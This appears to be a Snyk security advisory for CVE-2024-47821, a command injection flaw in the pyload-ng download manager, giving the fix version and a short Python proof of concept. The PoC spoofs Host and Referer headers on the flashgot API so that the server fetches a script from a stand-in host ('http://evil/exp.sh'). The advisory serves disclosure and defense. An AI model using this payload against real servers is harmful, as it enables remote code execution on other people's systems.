Command Injection Affecting pyload-ng package, versions [,0.5.0b3.dev87)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-PYLOADNG-8309126
- published28 Oct 2024
- disclosed28 Oct 2024
- creditAnuraag Baishya
Introduced: 28 Oct 2024
CVE-2024-47821 (opens in a new tab)How to fix?
Upgrade pyload-ng to version 0.5.0b3.dev87 or higher.
Overview
pyload-ng is a The free and open-source Download Manager written in pure Python
Affected versions of this package are vulnerable to Command Injection via the flashgot API and the download process. An attacker can execute arbitrary code by manipulating the download path to target the scripts directory and spoofing HTTP headers to bypass security checks. This is only exploitable if the server settings allow changing the download folder to a scripts directory and the permissions for downloaded files are improperly set.
PoC
import requests
url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
data = {
"package": "download_finished",
"passwords": "optional_password",
"urls": "http://evil/exp.sh",
"autostart": 1,
}
response = requests.post(url, data=data, headers=headers)